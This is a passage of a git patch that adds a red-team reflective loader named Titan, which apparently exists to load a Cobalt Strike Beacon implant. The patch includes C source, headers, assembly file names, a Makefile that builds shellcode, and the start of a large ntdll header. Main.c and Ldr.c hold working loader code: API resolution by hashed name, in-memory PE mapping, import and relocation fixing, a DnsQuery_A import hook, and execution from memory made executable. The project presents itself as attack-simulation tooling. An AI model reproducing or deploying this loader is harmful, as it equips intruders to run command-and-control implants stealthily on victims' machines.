From 1241e356560a27e5c56687f8ec9447dd785d33a7 Mon Sep 17 00:00:00 2001 From: Mumbai Date: Sun, 5 Sep 2021 23:21:37 -0500 Subject: [PATCH] commit start of project. --- Common.h | 29 + Hash.c | 60 + Hash.h | 23 + Labels.h | 15 + Ldr.c | 171 + Ldr.h | 42 + Macros.h | 35 + Main.c | 131 + Makefile | 28 + Native.h | 22423 ++++++++++++++++++++++++++++++++++++++++ Pe.c | 52 + Pe.h | 21 + Peb.c | 42 + Peb.h | 21 + SectionLink.ld | 13 + Titan.cna | 24 + asm/x64/GetIp.asm | 43 + asm/x64/Start.asm | 45 + asm/x86/GetIp.asm | 43 + asm/x86/Start.asm | 43 + hooks/DnsQuery_A.c | 209 + hooks/DnsQuery_A.h | 22 + python3/extract.py | 25 + python3/hashstring.py | 20 + 24 files changed, 23580 insertions(+) create mode 100644 Common.h create mode 100644 Hash.c create mode 100644 Hash.h create mode 100644 Labels.h create mode 100644 Ldr.c create mode 100644 Ldr.h create mode 100644 Macros.h create mode 100644 Main.c create mode 100644 Makefile create mode 100644 Native.h create mode 100644 Pe.c create mode 100644 Pe.h create mode 100644 Peb.c create mode 100644 Peb.h create mode 100644 SectionLink.ld create mode 100644 Titan.cna create mode 100644 asm/x64/GetIp.asm create mode 100644 asm/x64/Start.asm create mode 100644 asm/x86/GetIp.asm create mode 100644 asm/x86/Start.asm create mode 100644 hooks/DnsQuery_A.c create mode 100644 hooks/DnsQuery_A.h create mode 100644 python3/extract.py create mode 100644 python3/hashstring.py diff --git a/Common.h b/Common.h new file mode 100644 index 0000000..2873b40 --- /dev/null +++ b/Common.h @@ -0,0 +1,29 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#pragma once + +/* Include core defs */ +#include +#include +#include +#include +#include "Native.h" +#include "Macros.h" + +/* Include Library */ +#include "Labels.h" +#include "Hash.h" +#include "Peb.h" +#include "Ldr.h" +#include "Pe.h" + +/* Include Hooks! */ +#include "hooks/DnsQuery_A.h" diff --git a/Hash.c b/Hash.c new file mode 100644 index 0000000..eab9994 --- /dev/null +++ b/Hash.c @@ -0,0 +1,60 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#include "Common.h" + +/*! + * + * Purpose: + * + * Creates a hash summary of the input buffer. + * If a length is not provided, it assumes it + * is NULL terminated. + * +!*/ + +D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length ) +{ + UCHAR Cur = 0; + ULONG Djb = 0; + PUCHAR Ptr = NULL; + + Djb = 5381; + Ptr = C_PTR( Buffer ); + + while ( TRUE ) { + /* Get the current character */ + Cur = * Ptr; + + if ( ! Length ) { + /* NULL terminated? */ + if ( ! * Ptr ) { + break; + }; + } else { + /* Position exceed the length of the buffer? */ + if ( ( ULONG )( Ptr - ( PUCHAR ) Buffer ) >= Length ) { + break; + }; + /* NULL terminated? */ + if ( ! * Ptr ) { + ++Ptr; continue; + }; + }; + /* Lowercase */ + if ( Cur >= 'a' ) { + Cur -= 0x20; + }; + + /* Hash the character */ + Djb = ( ( Djb << 5 ) + Djb ) + Cur; ++Ptr; + }; + return Djb; +}; diff --git a/Hash.h b/Hash.h new file mode 100644 index 0000000..cfc9ab2 --- /dev/null +++ b/Hash.h @@ -0,0 +1,23 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#pragma once + +/*! + * + * Purpose: + * + * Creates a hash summary of the input buffer. + * If a length is not provided, it assumes it + * is NULL terminated. + * +!*/ + +D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length ); diff --git a/Labels.h b/Labels.h new file mode 100644 index 0000000..7776540 --- /dev/null +++ b/Labels.h @@ -0,0 +1,15 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#pragma once + +static ULONG_PTR Start( VOID ); +static ULONG_PTR GetIp( VOID ); +static ULONG_PTR Hooks( VOID ); diff --git a/Ldr.c b/Ldr.c new file mode 100644 index 0000000..a48aa6b --- /dev/null +++ b/Ldr.c @@ -0,0 +1,171 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack SimulatioN + * +**/ + +#include "Common.h" + +typedef struct +{ + WORD Offset : 0xc; + WORD Type : 0x4; +} IMAGE_RELOC, *PIMAGE_RELOC ; + +typedef struct +{ + D_API( RtlAnsiStringToUnicodeString ); + D_API( LdrGetProcedureAddress ); + D_API( RtlFreeUnicodeString ); + D_API( RtlInitAnsiString ); + D_API( LdrLoadDll ); +} API; + +#define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba /* RtlAnsiStringToUnicodeString */ +#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */ +#define H_API_RTLFREEUNICODESTRING 0x61b88f97 /* RtlFreeUnicodeString */ +#define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */ +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */ +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ + +/*! + * + * Purpose: + * + * Resolves the required imports and fills + * in their respective entries. + * +!*/ + +D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory ) +{ + API Api; + ANSI_STRING Ani; + UNICODE_STRING Unm; + + PVOID Mod = NULL; + PVOID Fcn = NULL; + PIMAGE_THUNK_DATA Otd = NULL; + PIMAGE_THUNK_DATA Ntd = NULL; + PIMAGE_IMPORT_BY_NAME Ibn = NULL; + PIMAGE_IMPORT_DESCRIPTOR Imp = NULL; + + RtlSecureZeroMemory( &Api, sizeof( Api ) ); + RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); + RtlSecureZeroMemory( &Unm, sizeof( Unm ) ); + + Api.RtlAnsiStringToUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLANSISTRINGTOUNICODESTRING ); + Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS ); + Api.RtlFreeUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEUNICODESTRING ); + Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING ); + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL ); + + /* Enumerate the directory. */ + for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) { + Api.RtlInitAnsiString( &Ani, C_PTR( U_PTR( Image ) + Imp->Name ) ); + + if ( NT_SUCCESS( Api.RtlAnsiStringToUnicodeString( &Unm, &Ani, TRUE ) ) ) { + if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Unm, &Mod ) ) ) { + Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk ); + Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk ); + + /* Enumerate Function Imports */ + for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) { + if ( IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) { + /* Is Integer? Import */ + if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, NULL, IMAGE_ORDINAL( Otd->u1.Ordinal ), &Fcn ) ) ) { + Ntd->u1.Function = Fcn; + }; + } else { + /* Is String? Import */ + Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData ); + Api.RtlInitAnsiString( &Ani, C_PTR( Ibn->Name ) ); + + if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, &Ani, 0, &Fcn ) ) ) { + Ntd->u1.Function = Fcn; + }; + }; + }; + }; + Api.RtlFreeUnicodeString( &Unm ); + }; + }; +}; + +/*! + * + * Purpose: + * + * Relocates the PE based on its relative base. + * +!*/ + +D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase ) +{ + ULONG_PTR Ofs = 0; + + PIMAGE_RELOC Rel = NULL; + PIMAGE_BASE_RELOCATION Ibr = NULL; + + Ibr = C_PTR( Directory ); + Ofs = C_PTR( U_PTR( Image ) - U_PTR( ImageBase ) ); + + /* Is a relocation! */ + while ( Ibr->VirtualAddress != 0 ) { + Rel = ( PIMAGE_RELOC )( Ibr + 1 ); + + /* Exceed the size of the relocation? */ + while ( C_PTR( Rel ) != C_PTR( U_PTR( Ibr ) + Ibr->SizeOfBlock ) ) { + switch( Rel->Type ) { + /* 8 wide */ + case IMAGE_REL_BASED_DIR64: + *( DWORD64 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD64 )( Ofs ); + break; + /* 4 wide */ + case IMAGE_REL_BASED_HIGHLOW: + *( DWORD32 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD32 )( Ofs ); + break; + }; + ++Rel; + }; + Ibr = C_PTR( Rel ); + }; +}; + +/*! + * + * Purpose: + * + * Applies a hook the import table of a PE. + * +!*/ + +D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function ) +{ + ULONG Djb = 0; + + PIMAGE_THUNK_DATA Otd = NULL; + PIMAGE_THUNK_DATA Ntd = NULL; + PIMAGE_IMPORT_BY_NAME Ibn = NULL; + PIMAGE_IMPORT_DESCRIPTOR Imp = NULL; + + for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) { + Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk ); + Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk ); + + for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) { + if ( ! IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) { + Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData ); + Djb = HashString( Ibn->Name, 0 ); + + if ( Djb == Hash ) { + Ntd->u1.Function = C_PTR( Function ); + }; + }; + }; + }; +}; diff --git a/Ldr.h b/Ldr.h new file mode 100644 index 0000000..d8a55ba --- /dev/null +++ b/Ldr.h @@ -0,0 +1,42 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack SimulatioN + * +**/ + +#pragma once + +/*! + * + * Purpose: + * + * Resolves the required imports and fills + * in their respective entries. + * +!*/ + +D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory ); + +/*! + * + * Purpose: + * + * Relocates the PE based on its relative base. + * +!*/ + +D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase ); + +/*! + * + * Purpose: + * + * Applies a hook the import table of a PE. + * +!*/ + +D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function ); diff --git a/Macros.h b/Macros.h new file mode 100644 index 0000000..de4522b --- /dev/null +++ b/Macros.h @@ -0,0 +1,35 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#pragma once + +/* Gets a pointer to the function or string via its relative offset to GetIp() */ +#define G_SYM( x ) ( ULONG_PTR )( GetIp( ) - ( ( ULONG_PTR ) & GetIp - ( ULONG_PTR ) x ) ) + +/* Sets a function in a specific region of memory */ +#define D_SEC( x ) __attribute__(( section( ".text$" #x ) )) + +/* Cast as a pointer with the specified typedef */ +#define D_API( x ) __typeof__( x ) * x + +/* Cast as a unsigned pointer-wide integer type */ +#define U_PTR( x ) ( ( ULONG_PTR ) x ) + +/* Cast as a unsigned pointer-wide type */ +#define C_PTR( x ) ( ( PVOID ) x ) + +/* Arch Specific Macros */ +#if defined( _WIN64 ) + /* Get the end of code: x64 */ + #define G_END( x ) U_PTR( GetIp( ) + 11 ) +#else + /* Get the end of code: x86 */ + #define G_END( x ) U_PTR( GetIp( ) + 10 ) +#endif diff --git a/Main.c b/Main.c new file mode 100644 index 0000000..23bcd72 --- /dev/null +++ b/Main.c @@ -0,0 +1,131 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#include "Common.h" + +typedef BOOLEAN ( WINAPI * DLLMAIN_T )( + HMODULE ImageBase, + DWORD Reason, + LPVOID Parameter +); + +typedef struct +{ + D_API( RtlAnsiStringToUnicodeString ); + D_API( NtAllocateVirtualMemory ); + D_API( NtProtectVirtualMemory ); + D_API( LdrGetProcedureAddress ); + D_API( RtlFreeUnicodeString ); + D_API( RtlInitAnsiString ); + D_API( LdrLoadDll ); +} API, *PAPI; + +#define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba /* RtlAnsiStringToUnicodeString */ +#define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec /* NtAllocateVirtualMemory */ +#define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 /* NtProtectVirtualMemory */ +#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */ +#define H_API_RTLFREEUNICODESTRING 0x61b88f97 /* RtlFreeUnicodeString */ +#define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */ +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */ +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ + +#ifndef PTR_TO_HOOK +#define PTR_TO_HOOK( a, b ) U_PTR( U_PTR( a ) + G_SYM( b ) - G_SYM( Hooks ) ) +#endif + +/*! + * + * Purpose: + * + * Loads Beacon into memory and executes its + * entrypoint. + * +!*/ + +D_SEC( B ) VOID WINAPI Titan( VOID ) +{ + API Api; + + SIZE_T Prm = 0; + SIZE_T SLn = 0; + SIZE_T ILn = 0; + SIZE_T Idx = 0; + SIZE_T MLn = 0; + + PVOID Mem = NULL; + PVOID Map = NULL; + DLLMAIN_T Ent = NULL; + PIMAGE_DOS_HEADER Dos = NULL; + PIMAGE_NT_HEADERS Nth = NULL; + PIMAGE_SECTION_HEADER Sec = NULL; + PIMAGE_DATA_DIRECTORY Dir = NULL; + + RtlSecureZeroMemory( &Api, sizeof( Api ) ); + + /* Initialize API structures */ + Api.NtAllocateVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTALLOCATEVIRTUALMEMORY ); + Api.NtProtectVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTPROTECTVIRTUALMEMORY ); + + /* Setup Image Headers */ + Dos = C_PTR( G_END() ); + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); + + /* Allocate Length For Hooks & Beacon */ + ILn = ( ( ( Nth->OptionalHeader.SizeOfImage ) + 0x1000 - 1 ) &~( 0x1000 - 1 ) ); + SLn = ( ( ( G_END() - G_SYM( Hooks ) ) + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ); + MLn = ILn + SLn; + + /* Create a page of memory that is marked as R/W */ + if ( NT_SUCCESS( Api.NtAllocateVirtualMemory( NtCurrentProcess(), &Mem, 0, &MLn, MEM_COMMIT, PAGE_READWRITE ) ) ) { + + /* Copy hooks over the top */ + __builtin_memcpy( Mem, C_PTR( G_SYM( Hooks ) ), U_PTR( G_END() - G_SYM( Hooks ) ) ); + + /* Get pointer to PE Image */ + Map = C_PTR( U_PTR( Mem ) + SLn ); + + /* Copy sections over to new mem */ + Sec = IMAGE_FIRST_SECTION( Nth ); + for ( Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) { + __builtin_memcpy( C_PTR( U_PTR( Map ) + Sec[ Idx ].VirtualAddress ), + C_PTR( U_PTR( Dos ) + Sec[ Idx ].PointerToRawData ), + Sec[ Idx ].SizeOfRawData ); + }; + + /* Get a pointer to the import table */ + Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + if ( Dir->VirtualAddress ) { + /* Process Import Table */ + LdrProcessIat( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ) ); + LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x8641aec0, PTR_TO_HOOK( Mem, DnsQuery_A_Hook ) ); + }; + + /* Get a pointer to the relocation table */ + Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + if ( Dir->VirtualAddress ) { + /* Process Relocations */ + LdrProcessRel( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), Nth->OptionalHeader.ImageBase ); + }; + + /* Extend to size of PE Section */ + SLn = SLn + Sec->SizeOfRawData; + + /* Change Memory Protection */ + if ( NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &Mem, &SLn, PAGE_EXECUTE_READ, &Prm ) ) ) { + /* Execute EntryPoint */ + Ent = C_PTR( U_PTR( Map ) + Nth->OptionalHeader.AddressOfEntryPoint ); + Ent( G_SYM( Start ), 1, NULL ); + Ent( G_SYM( Start ), 4, NULL ); + }; + }; + return; +}; diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..0a217e6 --- /dev/null +++ b/Makefile @@ -0,0 +1,28 @@ +CC_X64 := x86_64-w64-mingw32-gcc +CC_X86 := i686-w64-mingw32-gcc + +CFLAGS := $(CFLAGS) -Os -fno-asynchronous-unwind-tables -nostdlib +CFLAGS := $(CFLAGS) -fno-ident -fpack-struct=8 -falign-functions=1 +CFLAGS := $(CFLAGS) -s -ffunction-sections -falign-jumps=1 -w +CFLAGS := $(CFLAGS) -falign-labels=1 -fPIC -Wl,-TSectionLink.ld +LFLAGS := $(LFLAGS) -Wl,-s,--no-seh,--enable-stdcall-fixup + +OUTX64 := Titan.x64.exe +OUTX86 := Titan.x86.exe +BINX64 := Titan.x64.bin +BINX86 := Titan.x86.bin + +all: + @ nasm -f win32 asm/x86/Start.asm -o Start.x86.o + @ nasm -f win64 asm/x64/Start.asm -o Start.x64.o + @ nasm -f win32 asm/x86/GetIp.asm -o GetIp.x86.o + @ nasm -f win64 asm/x64/GetIp.asm -o GetIp.x64.o + @ $(CC_X86) *.c Start.x86.o GetIp.x86.o hooks/*.c -o $(OUTX86) $(CFLAGS) $(LFLAGS) -I. + @ $(CC_X64) *.c Start.x64.o GetIp.x64.o hooks/*.c -o $(OUTX64) $(CFLAGS) $(LFLAGS) -I. + @ python3 python3/extract.py -f $(OUTX86) -o $(BINX86) + @ python3 python3/extract.py -f $(OUTX64) -o $(BINX64) + +clean: + @ rm -rf *.o + @ rm -rf *.bin + @ rm -rf *.exe diff --git a/Native.h b/Native.h new file mode 100644 index 0000000..416a3e6 --- /dev/null +++ b/Native.h @@ -0,0 +1,22423 @@ +/* + ntdll.h + User Mode, 32bit & 64bit version + Visual Studio 6.0 - Visual Studio 2010 and MingW compatible + Intel C++ Compiler (ICL) 11.x - 12.x prefered + + (c) 2019 - Rokas Kupstys + (c) 2009, 2010, 2011 - Fyyre + (c) 2011 - 2012 EP_X0FF + (c) 2011 - rndbit + + version 1.26 ( increment this if changes has global effect ) + please mark your changes date begin / date end comments + + last change 04/01/2012 + + note: Please use _M_X86/_M_X64 for if(n)def/endif conditionals, instead of WIN32/WIN64. +*/ + +#if !defined(_NTDLL_) +#define _NTDLL_ + +#pragma warning( disable:4001 ) // level 4 error - nonstandard extension 'single line comment' was used +#pragma warning( disable:4201 ) // level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation +#pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation + +#if defined(__ICL) +#pragma warning ( disable : 344 ) +#endif + +#pragma pack( push, 8 ) + +#if defined(__cplusplus) +extern "C" { +#endif + +#include +#include + +#if !defined(NTSTATUS) +typedef LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#if !defined(SECURITY_STATUS) +typedef LONG SECURITY_STATUS; +#endif + +#define EXPORT_FN __declspec(dllexport) +#define IMPORT_FN __declspec(dllimport) + +#define PAGE_SIZE 0x1000 + +#define EXTERNAL extern "C" + +#ifndef UNREFERENCED_PARAMETER +#define UNREFERENCED_PARAMETER(P) (P) +#endif + +#include "ntstatus.h" + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) +#define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) +#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) + +#define ABSOLUTE_TIME(wait) (wait) +#define RELATIVE_TIME(wait) (-(wait)) +#define NANOSECONDS(nanos) \ + (((signed __int64)(nanos)) / 100L) +#define MICROSECONDS(micros) \ + (((signed __int64)(micros)) * NANOSECONDS(1000L)) +#define MILLISECONDS(milli) \ + (((signed __int64)(milli)) * MICROSECONDS(1000L)) +#define SECONDS(seconds) \ + (((signed __int64)(seconds)) * MILLISECONDS(1000L)) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +#define RESTORE_LIST(ListEntry) \ + ListEntry.Flink = ListEntry.Flink; \ + ListEntry.Blink = ListEntry.Blink + +#define UNLINK(x) (x).Blink->Flink = (x).Flink; \ + (x).Flink->Blink = (x).Blink; + +#define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1)) + +#define POI(addr) *(ULONG *)(addr) + +#define IS_PATH_SEPARATOR(ch) ((ch == '\\') || (ch == '/')) +#define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\0') ) +#define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\0') ) + +#define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\') || (ch == (WCHAR)'/')) +#define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) ) +#define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) ) + +#define jmp_length(y,x) ((x-y)-5) +#define stc_jc(y,x) ((x-y)-7) + +#define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; } +#define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; } +#define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; } +#define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; } + +#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) + +#define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; } +#define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0 + +#define ASSERT( exp ) ((void) 0) + +// +// The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults. +// + +// 31.05.2011 - added the following macros +#define SHORT_SIZE (sizeof(USHORT)) +#define SHORT_MASK (SHORT_SIZE - 1) +#define LONG_SIZE (sizeof(LONG)) +#define LONG_MASK (LONG_SIZE - 1) +#define LOWBYTE_MASK 0x00FF + +#define FIRSTBYTE(VALUE) (VALUE & LOWBYTE_MASK) +#define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK) +#define THIRDBYTE(VALUE) ((VALUE >> 16) & LOWBYTE_MASK) +#define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK) + +// +// if MIPS Big Endian, order of bytes is reversed. +// + +#define SHORT_LEAST_SIGNIFICANT_BIT 0 +#define SHORT_MOST_SIGNIFICANT_BIT 1 + +#define LONG_LEAST_SIGNIFICANT_BIT 0 +#define LONG_3RD_MOST_SIGNIFICANT_BIT 1 +#define LONG_2ND_MOST_SIGNIFICANT_BIT 2 +#define LONG_MOST_SIGNIFICANT_BIT 3 + +//++ +// +// VOID +// RtlStoreUshort ( +// PUSHORT ADDRESS +// USHORT VALUE +// ) +// +// Routine Description: +// +// This macro stores a USHORT value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store USHORT value +// VALUE - USHORT to store +// +// Return Value: +// +// none. +// +//-- + +#define RtlStoreUshort(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & SHORT_MASK) { \ + ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + } \ + else { \ + *((PUSHORT) ADDRESS) = (USHORT) VALUE; \ + } + + +//++ +// +// VOID +// RtlStoreUlong ( +// PULONG ADDRESS +// ULONG VALUE +// ) +// +// Routine Description: +// +// This macro stores a ULONG value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store ULONG value +// VALUE - ULONG to store +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call storeushort in the +// unaligned case. +// +//-- + +#define RtlStoreUlong(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & LONG_MASK) { \ + ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT ] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT ] = (UCHAR)(THIRDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT ] = (UCHAR)(FOURTHBYTE(VALUE)); \ + } \ + else { \ + *((PULONG) ADDRESS) = (ULONG) VALUE; \ + } + +//++ +// +// VOID +// RtlRetrieveUshort ( +// PUSHORT DESTINATION_ADDRESS +// PUSHORT SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a USHORT value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store USHORT value +// SOURCE_ADDRESS - where to retrieve USHORT value from +// +// Return Value: +// +// none. +// +//-- + +#define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + } \ + else { \ + *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS); \ + } \ + +//++ +// +// VOID +// RtlRetrieveUlong ( +// PULONG DESTINATION_ADDRESS +// PULONG SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a ULONG value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store ULONG value +// SOURCE_ADDRESS - where to retrieve ULONG value from +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call retrieveushort in the +// unaligned case. +// +//-- + +#define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2]; \ + ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3]; \ + } \ + else { \ + *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS); \ + } + +//++ +// +// PCHAR +// RtlOffsetToPointer ( +// PVOID Base, +// ULONG Offset +// ) +// +// Routine Description: +// +// This macro generates a pointer which points to the byte that is 'Offset' +// bytes beyond 'Base'. This is useful for referencing fields within +// self-relative data structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Offset - An unsigned integer offset of the byte whose address is to +// be generated. +// +// Return Value: +// +// A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. +// +// +//-- + +#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) + + +//++ +// +// ULONG +// RtlPointerToOffset ( +// PVOID Base, +// PVOID Pointer +// ) +// +// Routine Description: +// +// This macro calculates the offset from Base to Pointer. This is useful +// for producing self-relative offsets for structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Pointer - A pointer to a field, presumably within the structure +// pointed to by Base. This value must be larger than that specified +// for Base. +// +// Return Value: +// +// A ULONG offset from Base to Pointer. +// +// +//-- + +#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) +// 